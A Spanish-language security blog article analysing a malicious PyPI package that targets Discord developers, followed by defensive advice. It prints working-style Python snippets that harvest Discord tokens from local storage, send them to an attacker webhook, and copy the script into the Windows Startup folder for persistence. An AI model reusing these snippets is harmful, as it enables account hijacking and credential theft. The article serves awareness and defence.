Paquetes PyPI Maliciosos Atacan a Desarrolladores de Discord


Recientemente se detectó un paquete malicioso en PyPI diseñado para atacar a desarrolladores de Discord, con el objetivo de robar tokens de usuario y ejecutar backdoors en sistemas comprometidos. Este incidente resalta los riesgos en la cadena de suministro de software y la importancia de auditar dependencias.

¿Cómo Funciona el Ataque?

El paquete malicioso contiene código que realiza las siguientes acciones:

  1. Robo de Tokens de Discord: Busca tokens de usuario en el sistema para secuestrar cuentas.
  2. Creación de Backdoors: Permite a los atacantes ejecutar comandos remotamente.
  3. Exfiltración de Datos: Los datos robados son enviados a servidores controlados por los atacantes.

Explicación del Código Malicioso

El código que aparece en el reporte incluye funciones diseñadas para realizar acciones ilícitas. A continuación, desglosamos su funcionamiento:

  1. Extracción de Información del Sistema
    El script utiliza bibliotecas estándar de Python para recopilar información sobre el entorno del usuario, como rutas y archivos sensibles.

    python

    def find_tokens(path): path += '\\Local Storage\\leveldb' tokens = [] for file_name in os.listdir(path): if file_name.endswith('.log') or file_name.endswith('.ldb'): with open(f'{path}\\{file_name}', 'r', errors='ignore') as file: for line in file.readlines(): for token in re.findall(r'dQw4w9WgXcQ:[^\\"]*', line): tokens.append(token) return tokens
    • os.listdir: Busca archivos en una ruta específica.
    • re.findall: Extrae tokens de Discord basados en un patrón específico.
    • tokens.append: Almacena los tokens extraídos para su posterior envío.
  2. Envío de Datos Robados al Atacante
    Una vez recopilados los tokens, el script los exfiltra enviándolos a un servidor remoto.

    python

    def send_to_webhook(tokens): for token in tokens: payload = { 'content': f'Token encontrado: {token}' } requests.post(WEBHOOK_URL, json=payload)
    • requests.post: Envía los tokens al atacante mediante un webhook malicioso.
    • WEBHOOK_URL: Dirección configurada por el atacante para recibir los datos.
  3. Persistencia del Backdoor
    El código incluye funciones para garantizar que el script malicioso se ejecute automáticamente cada vez que el sistema se inicia.

    def add_to_startup(): startup_path = os.getenv('APPDATA') + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup' shutil.copyfile('script.py', f'{startup_path}\\malicious_script.py')
    • os.getenv: Obtiene la ruta de inicio del sistema operativo.
    • shutil.copyfile: Copia el script malicioso a la carpeta de inicio para ejecutarse automáticamente.

Recomendaciones de Seguridad

Para evitar ser víctima de ataques como este:

  1. Revisar Dependencias: Examina el código de las bibliotecas antes de instalarlas, especialmente si tienen poca actividad o vienen de fuentes desconocidas.
  2. Utilizar Herramientas de Análisis: Plataformas como Socket y PyUp identifican comportamientos sospechosos en dependencias.
  3. Auditar Tokens de Discord: Verifica regularmente los permisos y cambia tokens comprometidos.
  4. Implementar Políticas de Seguridad: Limita el acceso de las aplicaciones a rutas y datos críticos.

Conclusión

Este ataque demuestra cómo los desarrolladores pueden ser blanco de campañas maliciosas que explotan su confianza en bibliotecas externas. Mantente alerta, audita tus dependencias y toma medidas proactivas para proteger tu entorno de desarrollo y tus credenciales. ¡La seguridad es tu primera línea de defensa!

Fuente: El paquete malicioso de PyPI 'pycord-self' apunta a Discord Develop...

Si te gusta este contenido, no olvides seguirnos en nuestras redes sociales!: